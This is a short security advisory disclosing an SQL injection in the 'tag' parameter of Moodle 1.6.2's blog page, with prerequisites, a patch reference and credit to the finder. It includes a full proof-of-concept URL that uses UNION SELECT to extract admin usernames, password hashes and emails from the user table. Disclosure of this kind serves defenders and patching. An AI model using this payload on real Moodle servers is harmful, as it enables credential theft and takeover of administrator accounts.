[UNIX] Moodle tag Parameter SQL Injection

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Moodle tag Parameter SQL Injection
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SUMMARY

A security vulnerability was recently discovered in all versions of Moodle
1.6 and later that allows SQL injection.

DETAILS

Vulnerable Systems:
* Moodle version 1.6.2

Immune Systems:
* Moodle CVS

Prequisites:
* The moodle blog "module" must be enabled
* Guest access to the blog must be enabled

Proof of Concept:
/blog/index.php?tag=x%2527 UNION SELECT %2527-1 UNION SELECT
1,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email FROM
mdl_user RIGHT JOIN mdl_user_admins ON
mdl_user.id%3dmdl_user_admins.userid UNION SELECT
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM mdl_post p,
mdl_blog_tag_instance bt, mdl_user u WHERE 1%3D0%2527,1,1,%25271

Solution:
Update your servers using CVS as soon as possible, or edit the file
blog/index.php in your copy manually as described here:
<http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3>
http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3


ADDITIONAL INFORMATION

The information has been provided by <mailto:disfigure@xxxxxxxxx>
disfigure.
The original article can be found at:
<http://w4ck1ng.com/board/showthread.php?t=1305>
http://w4ck1ng.com/board/showthread.php?t=1305



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